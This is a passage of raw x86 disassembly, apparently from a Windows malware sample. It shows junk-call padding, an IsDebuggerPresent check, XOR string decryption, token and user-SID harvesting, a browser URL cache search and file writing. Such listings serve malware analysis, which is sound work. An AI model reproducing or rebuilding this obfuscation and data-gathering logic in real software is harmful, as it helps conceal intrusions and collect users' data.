		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp-134h], eax
		call	sub_40CA18
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-134h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404ACC:				; CODE XREF: sub_404A38+50j
		call	sub_40C514	; GetCurrentThreadId
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 7
		jge	short loc_404B25
		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp-138h], eax
		call	sub_40CA18
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-138h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404B25:				; CODE XREF: sub_404A38+A9j
		lea	edi, [ebp-12Ch]
		lea	esi, byte_441277
		mov	ecx, 3
		rep movsb
		add	byte ptr [ebp-11Bh], 1

loc_404B3F:				; CODE XREF: sub_4049F0+7j
		mov	al, [ebp-11Bh]
		cmp	al, 0Ah
		jb	loc_4049FC
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CA54
		call	sub_40C538	; RtlGetLastWin32Error
		push	4
		push	offset aAarl	; "AARL"
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 18h

loc_404B75:				; CODE XREF: sub_40494F+56j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
sub_404A38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404B85	proc near		; DATA XREF: .data:0043F38Eo
					; .data:0043F3B5o ...
		jge	loc_404CFD
		call	sub_40C574	; GetProcessHeap
		mov	byte ptr [ebp-0FFh], 0
		call	sub_40C574	; GetProcessHeap
		mov	byte ptr [ebp-11Bh], 0
		jmp	loc_404CD1
; ---------------------------------------------------------------------------

loc_404BA8:				; CODE XREF: sub_404B85+154j
		call	sub_40C538	; RtlGetLastWin32Error
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404C01
		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp-12Ch], eax
		call	sub_40CA18
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-12Ch]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404C01:				; CODE XREF: sub_404B85+38j
		mov	eax, dword_44127A
		mov	[ebp-127h], eax
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404C60
		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp-130h], eax
		call	sub_40CA18
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-130h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404C60:				; CODE XREF: sub_404B85+97j
		lea	edi, [ebp-128h]
		lea	esi, byte_44127E
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 3
		jge	short loc_404CC5
		push	4
		push	offset byte_4464FF
		call	sub_4045E2
		mov	[ebp-134h], eax
		call	sub_40CA18
		mov	ecx, 9
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-134h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CA30
		add	esp, 18h

loc_404CC5:				; CODE XREF: sub_404B85+FCj
		call	sub_40C508	; GetCurrentProcessId
		add	byte ptr [ebp-11Bh], 1

loc_404CD1:				; CODE XREF: sub_404B85+1Ej
		mov	al, [ebp-11Bh]
		cmp	al, 32h
		jb	loc_404BA8
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 8
		lea	edi, [ebp-123h]
		lea	esi, aC6kP9	; "C6k|P=9"
		movsd
		movsd

loc_404CFD:				; CODE XREF: sub_404B85j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short sub_404D25
		push	4
		push	offset dword_4464CC
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h
sub_404B85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404D25	proc near		; CODE XREF: sub_404B85+188j
					; DATA XREF: .data:0043F01Do ...
		call	sub_40C598	; GetTickCount
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D52
sub_404D25	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404D3C	proc near		; DATA XREF: .data:0043EF74o
		push	3
		push	offset dword_4464C8
		call	sub_4045E2
		push	eax
sub_404D3C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404D49	proc near		; DATA XREF: .data:0043EF1Ao
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404D52:				; CODE XREF: sub_404D25+15j
		mov	byte ptr [ebp-106h], 0D0h
		movzx	eax, byte ptr [ebp-106h]
		imul	eax, 7F98h
		mov	[ebp-106h], al
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D94
		push	3
		push	offset dword_4464C4
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404D94:				; CODE XREF: sub_404D49+33j
		lea	edi, [ebp-10Ch]
		lea	esi, a04Ku	; "04 kU"
		mov	ecx, 3
		rep movsw
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404DD0
		push	3
		push	offset dword_4464C0
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404DD0:				; CODE XREF: sub_404D49+6Fj
		call	sub_40C574	; GetProcessHeap
		call	sub_40CA18
		mov	ecx, 0Ah
sub_404D49	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404DDF	proc near		; DATA XREF: .data:0043E3F0o
		cdq
		idiv	ecx
		cmp	edx, 5
sub_404DDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404DE5	proc near		; DATA XREF: sub_43E245:loc_43E2AAo
		jge	short loc_404DFD
		push	4
		push	offset byte_4464BB
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404DFD:				; CODE XREF: sub_404DE5j
		mov	word ptr [ebp-102h], 342h
		movzx	eax, word ptr [ebp-102h]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp-102h], ax
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E42
		push	4
		push	offset word_4464B6
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404E42:				; CODE XREF: sub_404DE5+45j
		mov	ax, word_44128D
		mov	[ebp-10Eh], ax
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E77
		push	4
		push	offset byte_4464B1
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404E77:				; CODE XREF: sub_404DE5+7Aj
		lea	edi, [ebp-113h]
		lea	esi, aVpa1	; "PA1"
		mov	ecx, 5
		rep movsb
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404EB2
		push	7
		push	offset byte_4464A9
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404EB2:				; CODE XREF: sub_404DE5+B5j
		lea	edi, [ebp-118h]
		lea	esi, a@0y	; "@0Y "
		mov	ecx, 5
		rep movsb
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404EED
		push	8
		push	offset dword_4464A0
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404EED:				; CODE XREF: sub_404DE5+F0j
		mov	ax, word_441299
		mov	[ebp-11Ah], ax
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404F22
		push	9
		push	offset word_446496
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404F22:				; CODE XREF: sub_404DE5+125j
		call	sub_40CA18
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404F4A
		push	2
		push	offset aAf	; "af"
		call	sub_4045E2
		push	eax
		push	ebx
		call	sub_40CA54
		add	esp, 10h

loc_404F4A:				; CODE XREF: sub_404DE5+14Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404DE5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F4F	proc near		; CODE XREF: sub_404FEF+64p
					; sub_404FEF+A6p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 138h
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_4412A4
		lea	eax, ds:435040h[eax]
		push	eax
		call	sub_40C9F4
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_404F94
; ---------------------------------------------------------------------------

loc_404F7D:				; CODE XREF: sub_404F4F+47j
		mov	eax, dword_4412A4
		add	eax, edi
		lea	eax, ds:435040h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 31h
		mov	[eax], dl
		inc	edi

loc_404F94:				; CODE XREF: sub_404F4F+2Cj
		cmp	edi, esi
		jl	short loc_404F7D
		mov	eax, dword_4412A4
		add	eax, esi
		mov	byte ptr ds:dword_435040[eax], 0
		xor	edi, edi
		mov	edi, dword_4412A4
		inc	dword_4412A4
		mov	eax, dword_4412A4
		add	eax, 3
		add	eax, esi
		mov	dword_4412A4, eax
		add	dword_4412A4, 2
		cmp	dword_4412A4, 0DCBh
		jle	short loc_404FDE
		and	dword_4412A4, 0

loc_404FDE:				; CODE XREF: sub_404F4F+86j
		mov	[ebp+var_8], 199h
		lea	eax, dword_435040[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404F4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FEF	proc near		; CODE XREF: sub_40518F+A5p

var_2C		= dword	ptr -2Ch
var_25		= byte ptr -25h
var_24		= dword	ptr -24h
var_1F		= word ptr -1Fh
var_1D		= dword	ptr -1Dh
var_19		= byte ptr -19h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_19]
		lea	esi, aU		; ":U*~"
		mov	ecx, 5
		rep movsb
		call	sub_40C508	; GetCurrentProcessId
		xor	ebx, ebx
		inc	ebx
		push	[ebp+arg_0]
		call	sub_40C97C	; GetSidIdentifierAuthority
		mov	[ebp+var_14], eax
		mov	eax, dword_4412AD
		mov	[ebp+var_1D], eax
		push	[ebp+arg_0]
		call	sub_40C994	; GetSidSubAuthorityCount
		movzx	edi, byte ptr [eax]
		mov	[ebp+var_10], edi
		call	sub_40C514	; GetCurrentThreadId
		mov	eax, 0Ch
		mul	[ebp+var_10]
		mov	[ebp+var_24], eax
		add	eax, 1Ch
		mov	[ebp+var_C], eax
		call	sub_40C634	; IsDebuggerPresent
		push	6
		push	offset byte_44648F
		call	sub_404F4F
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	sub_40C868	; wsprintfA
		add	esp, 14h
		mov	[ebp+var_C], eax
		mov	ax, word_4412B1
		mov	[ebp+var_1F], ax
		mov	eax, [ebp+var_C]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_14]
		cmp	byte ptr [eax],	0
		jnz	short loc_405089
		cmp	byte ptr [eax+1], 0
		jz	short loc_4050E7

loc_405089:				; CODE XREF: sub_404FEF+92j
		call	sub_40C574	; GetProcessHeap
		push	20h
		push	offset word_44646E
		call	sub_404F4F
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+4]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+3]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+2]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+1]
		movzx	esi, si
		push	esi
		movzx	edi, byte ptr [edi]
		movzx	edi, di
		push	edi
		push	eax
		push	[ebp+var_8]
		call	sub_40C868	; wsprintfA
		add	esp, 28h
		mov	ebx, eax
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		jmp	short loc_405139
; ---------------------------------------------------------------------------

loc_4050E7:				; CODE XREF: sub_404FEF+98j
		call	sub_40C508	; GetCurrentProcessId
		push	3
		push	offset off_44646A
		call	sub_404F4F
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	edx, byte ptr [edi+4]
		shl	edx, 8
		add	esi, edx
		movzx	edx, byte ptr [edi+3]
		shl	edx, 10h
		add	esi, edx
		movzx	edi, byte ptr [edi+2]
		shl	edi, 18h
		add	esi, edi
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_40C868	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		call	sub_40C634	; IsDebuggerPresent
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax

loc_405139:				; CODE XREF: sub_404FEF+F6j
		and	[ebp+var_4], 0
		jmp	short loc_405182
; ---------------------------------------------------------------------------

loc_40513F:				; CODE XREF: sub_404FEF+199j
		mov	[ebp+var_25], 81h
		add	[ebp+var_25], 0F0h
		push	4
		push	offset byte_446465
		call	sub_404F4F
		mov	[ebp+var_2C], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_40C988	; GetSidSubAuthority
		push	dword ptr [eax]
		mov	edi, [ebp+var_2C]
		push	edi
		push	[ebp+var_8]
		call	sub_40C868	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		inc	[ebp+var_4]

loc_405182:				; CODE XREF: sub_404FEF+14Ej
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_4], eax
		jb	short loc_40513F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404FEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40518F	proc near		; CODE XREF: sub_405F79+218p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C514	; GetCurrentThreadId
		call	sub_40C508	; GetCurrentProcessId
		mov	[ebp+var_10], eax
		call	sub_40C508	; GetCurrentProcessId
		push	[ebp+var_10]
		push	0
		push	1F0FFFh
		call	sub_40C670	; OpenProcess
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0F00FFh
		push	ebx
		call	sub_40C904	; OpenProcessToken
		mov	[ebp+var_8], 2A34h
		add	[ebp+var_8], 17B3h
		push	ebx
		call	sub_40C55C	; CloseHandle
		lea	edi, [ebp+var_11]
		lea	esi, byte_4412B3
		xor	ecx, ecx
		inc	ecx
		rep movsb
		mov	eax, dword_4412A0
		add	eax, 3FF5h
		push	eax
		push	40h
		call	sub_40C64C	; LocalAlloc
		mov	ebx, eax
		mov	[ebp+var_C], 2D3Bh
		mov	eax, 2E30h
		mul	[ebp+var_C]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	eax, dword_44129C
		add	eax, 4000h
		push	eax
		push	ebx
		push	1
		push	[ebp+var_4]
		call	sub_40C910	; GetTokenInformation
		push	[ebp+arg_0]
		push	dword ptr [ebx]
		call	sub_404FEF
		add	esp, 8
		call	sub_40C508	; GetCurrentProcessId
		push	ebx
		call	sub_40C658	; LocalFree
		push	[ebp+var_4]
		call	sub_40C55C	; DATA XREF: sub_43F53Dr
		pop	edi

loc_405250:				; DATA XREF: sub_43F549r
		pop	esi
		pop	ebx
		leave
		retn
sub_40518F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405254	proc near		; CODE XREF: sub_4053A1+3Ep
					; sub_4053A1+ADp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch	; DATA XREF: sub_43F561r
		push	esi
		push	edi

loc_40525C:				; DATA XREF: sub_43F56Dr
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 2	; DATA XREF: sub_43F579r sub_43F585r
		push	esi
		push	[ebp+arg_0]	; DATA XREF: sub_43F591r
		mov	eax, dword_4412BC ; DATA XREF: sub_43F59Dr
		lea	eax, ds:418710h[eax] ; DATA XREF: sub_43F5A9r
					; sub_43F5B5r
		push	eax
		call	sub_40C9F4	; DATA XREF: sub_43F5C1r

loc_40527C:				; DATA XREF: sub_43F5CDr
		add	esp, 0Ch
		xor	edi, edi	; DATA XREF: sub_43F5D9r
		jmp	short loc_40529A
; ---------------------------------------------------------------------------

loc_405283:				; CODE XREF: sub_405254:loc_40529Cj
					; DATA XREF: sub_43F5E5r
		mov	eax, dword_4412BC
		add	eax, edi
		lea	eax, ds:418710h[eax] ; DATA XREF: sub_43F5F1r
		movsx	edx, byte ptr [eax]
		xor	edx, 2Ch
		mov	[eax], dl
		inc	edi

loc_40529A:				; CODE XREF: sub_405254+2Dj
		cmp	edi, esi

loc_40529C:				; DATA XREF: sub_43F5FDr
		jl	short loc_405283
		mov	[ebp+var_8], 1BFh
		mov	eax, dword_4412BC ; DATA XREF: sub_43F6B9r
		add	eax, esi

loc_4052AC:				; DATA XREF: sub_43F6C5r sub_43F6D1r
		mov	byte ptr ds:dword_418710[eax], 0

loc_4052B4:				; DATA XREF: sub_43F6DDr sub_43F6E9r
		mov	edi, dword_4412BC
		mov	eax, edi

loc_4052BC:				; DATA XREF: sub_43F6F5r
		lea	eax, [eax+esi+1]

loc_4052C0:				; DATA XREF: sub_43F701r sub_43F70Dr
		mov	dword_4412BC, eax
		inc	dword_4412BC	; DATA XREF: sub_43F719r
		cmp	dword_4412BC, 0E06h ; DATA XREF: sub_43F725r
					; sub_43F731r ...
		jle	short loc_4052DE
		and	dword_4412BC, 0	; DATA XREF: sub_43F749r sub_43F755r

loc_4052DE:				; CODE XREF: sub_405254+81j
					; DATA XREF: sub_43F761r ...
		mov	[ebp+var_C], 0B4h
		lea	eax, dword_418710[edi] ; DATA XREF: sub_43F779r
		pop	edi

loc_4052EC:				; DATA XREF: sub_43F785r
		pop	esi
		leave
		retn
sub_405254	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4052EF	proc near		; CODE XREF: sub_4062CD+4E4p
					; sub_4062CD+501p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp

loc_4052F0:				; DATA XREF: sub_43F791r
		mov	ebp, esp
		sub	esp, 10h	; DATA XREF: sub_43F79Dr
		push	esi
		push	edi
		mov	[ebp+var_2], 665Dh ; DATA XREF:	sub_43F7A9r
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax	; DATA XREF: sub_43F7B5r
		mov	eax, edx
		mov	[ebp+var_2], ax	; DATA XREF: sub_43F7C1r
		call	sub_40C538	; DATA XREF: sub_43F7CDr

loc_405310:				; DATA XREF: sub_43F7D9r
		push	0
		push	80h		; DATA XREF: sub_43F7E5r
		push	4		; DATA XREF: sub_43F7F1r
		push	0
		push	0		; DATA XREF: sub_43F7FDr
		push	0C0000000h	; DATA XREF: sub_43F809r
		push	[ebp+arg_0]	; DATA XREF: sub_43F815r
		call	sub_40C67C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_405335 ; DATA	XREF: sub_43F821r
		xor	eax, eax
		jmp	short loc_40539D ; DATA	XREF: sub_43F82Dr
; ---------------------------------------------------------------------------

loc_405335:				; CODE XREF: sub_4052EF+40j
					; DATA XREF: sub_43F839r
		mov	esi, 5B97h
		mov	eax, 24A5h	; DATA XREF: sub_43F845r
		mul	esi		; DATA XREF: sub_43F851r
		mov	[ebp+var_C], eax

loc_405344:				; DATA XREF: sub_43F85Dr
		mov	esi, eax
		push	2

loc_405348:				; DATA XREF: sub_43F869r
		push	0
		push	0

loc_40534C:				; DATA XREF: sub_43F875r
		push	edi
		call	sub_40C6AC	; DATA XREF: sub_43F881r
		mov	esi, 113Bh	; DATA XREF: sub_43F88Dr
		mov	eax, esi	; DATA XREF: sub_43F899r
		add	eax, esi
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]	; DATA XREF: sub_43F8A5r
		push	[ebp+arg_4]	; DATA XREF: sub_43F8B1r
		push	edi
		call	sub_40C730	; DATA XREF: sub_43F8BDr
		mov	esi, 27C4h	; DATA XREF: sub_43F8C9r

loc_405374:				; DATA XREF: sub_43F8D5r sub_43F8E1r
		mov	eax, 6888h
		mul	esi
		mov	[ebp+var_10], eax ; DATA XREF: sub_43F8EDr
		mov	esi, eax

loc_405380:				; DATA XREF: sub_43F8F9r
		push	edi
		call	sub_40C55C	; DATA XREF: sub_43F905r
		mov	[ebp+var_4], 3676h ; DATA XREF:	sub_43F911r

loc_40538C:				; DATA XREF: sub_43F91Dr
		movzx	eax, [ebp+var_4]

loc_405390:				; DATA XREF: sub_43F929r
		mov	edx, eax
		add	edx, eax

loc_405394:				; DATA XREF: sub_43F935r
		mov	eax, edx
		mov	[ebp+var_4], ax	; DATA XREF: sub_43F941r
		xor	eax, eax
		inc	eax

loc_40539D:				; CODE XREF: sub_4052EF+44j
		pop	edi
		pop	esi
		leave
		retn
sub_4052EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053A1	proc near		; CODE XREF: sub_4062CD+440p

var_2F52	= word ptr -2F52h
var_2F50	= byte ptr -2F50h
var_2F48	= word ptr -2F48h
var_2F46	= word ptr -2F46h
var_2F43	= byte ptr -2F43h
var_1F44	= dword	ptr -1F44h
var_1F40	= byte ptr -1F40h
var_1F3C	= dword	ptr -1F3Ch
var_1F38	= dword	ptr -1F38h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2F54h
		call	sub_40C498
		push	ebx
		push	esi
		push	edi
		call	sub_40C5A4	; GetVersion
		lea	edi, [ebp+var_2F50]
		lea	esi, aW_07ye	; "W _07ye"
		movsd
		movsd
		push	[ebp+arg_0]
		lea	eax, [ebp+var_2F43]
		push	eax
		call	sub_40C4B8
		call	sub_40C5A4	; GetVersion
		push	1
		push	offset byte_446463
		call	sub_405254
		mov	edi, 0Fh
		sub	edi, dword_4412B8
		push	edi
		push	eax
		lea	edi, [ebp+var_2F43]
		push	edi
		call	sub_401806
		add	esp, 14h
		mov	edi, eax
		mov	[ebp+var_2F48],	di
		mov	[ebp+var_2F46],	4FF8h
		add	[ebp+var_2F46],	611Eh
		movzx	eax, [ebp+var_2F48]
		cmp	eax, 0FFFFh
		jz	short loc_405438
		movzx	eax, [ebp+var_2F48]
		mov	[ebp+eax+var_2F43], 0

loc_405438:				; CODE XREF: sub_4053A1+86j
		mov	[ebp+var_1F44],	1F40h
		call	sub_40C574	; GetProcessHeap
		push	3
		push	offset byte_44645F
		call	sub_405254
		add	esp, 8
		lea	edi, [ebp+var_1F44]
		push	edi
		lea	edi, [ebp+var_1F40]
		push	edi
		push	eax
		call	sub_40BA18	; FindFirstUrlCacheEntryA
		mov	ebx, eax
		or	eax, eax
		jz	loc_405522
		call	sub_40C598	; GetTickCount
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40C9C4
		add	esp, 8
		or	eax, eax
		jnz	short loc_4054AF
		call	sub_40C598	; GetTickCount
		push	[ebp+var_1F38]
		push	[ebp+arg_4]
		call	sub_40C4B8
		call	sub_40C538	; RtlGetLastWin32Error
		xor	eax, eax
		inc	eax
		jmp	short loc_405522
; ---------------------------------------------------------------------------

loc_4054AF:				; CODE XREF: sub_4053A1+EFj
					; sub_4053A1:loc_40551Ej
		call	sub_40C574	; GetProcessHeap
		mov	[ebp+var_1F44],	1F40h
		call	sub_40C508	; GetCurrentProcessId
		lea	eax, [ebp+var_1F44]
		push	eax
		lea	eax, [ebp+var_1F40]
		push	eax
		push	ebx
		call	sub_40BA24	; FindNextUrlCacheEntryA
		or	eax, eax
		jz	short loc_405520
		call	sub_40C514	; GetCurrentThreadId
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40C9C4
		add	esp, 8
		or	eax, eax
		jnz	short loc_40551E
		mov	ax, word_4412CC
		mov	[ebp+var_2F52],	ax
		push	[ebp+var_1F38]
		push	[ebp+arg_4]
		call	sub_40C4B8
		call	sub_40C598	; GetTickCount
		xor	eax, eax
		inc	eax
		jmp	short loc_405522
; ---------------------------------------------------------------------------

loc_40551E:				; CODE XREF: sub_4053A1+156j
		jmp	short loc_4054AF
; ---------------------------------------------------------------------------

loc_405520:				; CODE XREF: sub_4053A1+138j
		xor	eax, eax

loc_405522:				; CODE XREF: sub_4053A1+CDj
					; sub_4053A1+10Cj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4053A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405527	proc near		; CODE XREF: sub_405601+5D8p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_14]
		lea	esi, aXaBi	; "#Xa/I"
		mov	ecx, 7
		rep movsb
		push	[ebp+arg_0]
		call	sub_40C73C	; lstrlen
		mov	[ebp+var_8], eax
		mov	[ebp+var_D], 0Dh
		add	[ebp+var_D], 1
		mov	edi, eax
		shl	edi, 1
		add	edi, 8
		push	edi
		push	40h
		call	sub_40C64C	; LocalAlloc
		mov	[ebp+var_C], eax
		xor	ebx, ebx
		jmp	short loc_405585
; ---------------------------------------------------------------------------

loc_405569:				; CODE XREF: sub_405527+61j
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+ebx]
		xor	eax, 71h
		or	eax, eax
		jz	short loc_405584
		mov	eax, ebx
		add	eax, [ebp+arg_0]
		movzx	edx, byte ptr [eax]
		xor	edx, 71h
		mov	[eax], dl

loc_405584:				; CODE XREF: sub_405527+4Ej
		inc	ebx

loc_405585:				; CODE XREF: sub_405527+40j
		cmp	ebx, [ebp+var_8]
		jb	short loc_405569
		mov	[ebp+var_2], 0
		jmp	short loc_4055EB
; ---------------------------------------------------------------------------

loc_405592:				; CODE XREF: sub_405527+CBj
		push	6
		push	offset a_OO	; "\t_\tO\tO"
		call	sub_405254
		mov	[ebp+var_18], eax
		movzx	edi, [ebp+var_2]
		mov	esi, [ebp+arg_0]
		movzx	edi, byte ptr [esi+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_1C], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_C]
		push	edi
		mov	esi, [ebp+var_18]
		push	esi
		push	edi
		call	sub_40CA30
		add	esp, 1Ch
		inc	[ebp+var_2]

loc_4055EB:				; CODE XREF: sub_405527+69j
		movzx	eax, [ebp+var_2]
		cmp	eax, [ebp+var_8]
		jb	short loc_405592
